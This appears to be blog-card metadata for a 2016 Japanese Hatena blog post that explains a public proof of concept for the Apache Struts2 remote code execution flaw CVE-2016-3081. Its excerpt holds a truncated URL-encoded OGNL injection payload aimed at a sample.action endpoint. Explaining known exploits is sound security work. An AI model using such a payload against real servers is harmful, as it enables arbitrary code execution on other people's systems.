boscono https://blog.hatena.ne.jp/boscono/ てきとうなメモ https://boscono.hatenablog.com/ Security Java Struts JVNVU#91375252: Apache Struts2 に任意のコード実行の脆弱性ぐぐるとみつかるPOCで１番簡単そうなのを解説してみる http://www.example.com/sample.action?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23test%3D%23context.get%28%23parameters.res%5B0%5D%29.getWriter%28%29%2C%23test.println%28%23parameters.command%5B0%5D%29%… 190 <iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fboscono.hatenablog.com%2Fentry%2F2016%2F04%2F29%2F230738" title="Apache Struts2の脆弱性(CVE-2016-3081) - てきとうなメモ" class="embed-card embed-blogcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;"></iframe> Hatena Blog https://hatena.blog 2016-04-29 23:07:38 rich https://boscono.hatenablog.com/entry/2016/04/29/230738 1.0 100%